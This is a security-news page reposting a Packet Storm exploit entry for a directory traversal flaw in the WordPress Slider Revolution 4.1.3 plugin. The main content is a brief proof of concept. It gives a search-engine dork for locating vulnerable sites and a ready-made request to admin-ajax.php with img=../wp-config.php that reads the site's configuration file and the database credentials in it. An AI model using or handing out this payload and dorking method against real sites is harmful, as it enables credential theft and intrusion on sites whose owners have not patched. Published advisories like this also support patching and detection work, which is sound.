Security
Headlines
HeadlinesLatestCVEs

Headline

WordPress Slider Revolution 4.1.3 Directory Traversal

WordPress Slider Revolution plugin version 4.1.3 suffers from a directory traversal vulnerability.

Packet Storm
#sql#xss#csrf#vulnerability#web#ios#mac#windows#apple#google#ubuntu#linux#debian#cisco#java#wordpress#php#perl#auth#ruby#firefox

WordPress Slider Revolution 4.1.3 Directory Traversal

Posted Jan 13, 2023

Authored by indoushka

WordPress Slider Revolution plugin version 4.1.3 suffers from a directory traversal vulnerability.

tags | exploit, file inclusion

SHA-256 | 83b023ff748b63a814933d6674398e32e4fb2ba5c520cc7997e01b2a23da875c

Download | Favorite | View

WordPress Slider Revolution 4.1.3 Directory Traversal

====================================================================================================================================| # Title     : WordPress - Slider Revolution 4.1.3 Directory Traversal Vulnerability                                              || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0(64-bit)                                               | | # Vendor    : https://www.sliderrevolution.com/                                                                                  |  | # Dork      : index off revslider\backup                                                                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php[+] http://127.0.0.1/sse.sg/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.phpGreetings to :=========================================================================================================================                                                                                                                                      |jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm * thelastvvv *Zigoo.eg                      |                                                                                                                                      |=======================================================================================================================================

File Tags

  • ActiveX (932)
  • Advisory (79,868)
  • Arbitrary (15,737)
  • BBS (2,859)
  • Bypass (1,624)
  • CGI (1,018)
  • Code Execution (6,953)
  • Conference (674)
  • Cracker (840)
  • CSRF (3,294)
  • DoS (22,648)
  • Encryption (2,353)
  • Exploit (50,449)
  • File Inclusion (4,171)
  • File Upload (948)
  • Firewall (821)
  • Info Disclosure (2,667)
  • Intrusion Detection (868)
  • Java (2,913)
  • JavaScript (823)
  • Kernel (6,323)
  • Local (14,215)
  • Magazine (586)
  • Overflow (12,440)
  • Perl (1,418)
  • PHP (5,097)
  • Proof of Concept (2,293)
  • Protocol (3,439)
  • Python (1,468)
  • Remote (30,093)
  • Root (3,506)
  • Rootkit (501)
  • Ruby (595)
  • Scanner (1,633)
  • Security Tool (7,795)
  • Shell (3,111)
  • Shellcode (1,206)
  • Sniffer (888)
  • Spoof (2,172)
  • SQL Injection (16,119)
  • TCP (2,382)
  • Trojan (686)
  • UDP (878)
  • Virus (662)
  • Vulnerability (31,182)
  • Web (9,382)
  • Whitepaper (3,732)
  • x86 (946)
  • XSS (17,506)
  • Other

File Archives

  • January 2023
  • December 2022
  • November 2022
  • October 2022
  • September 2022
  • August 2022
  • July 2022
  • June 2022
  • May 2022
  • April 2022
  • March 2022
  • February 2022
  • Older

Systems

  • AIX (426)
  • Apple (1,936)
  • BSD (370)
  • CentOS (55)
  • Cisco (1,917)
  • Debian (6,649)
  • Fedora (1,690)
  • FreeBSD (1,242)
  • Gentoo (4,288)
  • HPUX (878)
  • iOS (334)
  • iPhone (108)
  • IRIX (220)
  • Juniper (67)
  • Linux (44,427)
  • Mac OS X (684)
  • Mandriva (3,105)
  • NetBSD (255)
  • OpenBSD (479)
  • RedHat (12,511)
  • Slackware (941)
  • Solaris (1,607)
  • SUSE (1,444)
  • Ubuntu (8,231)
  • UNIX (9,177)
  • UnixWare (185)
  • Windows (6,512)
  • Other

Packet Storm: Latest News

Pyload Remote Code Execution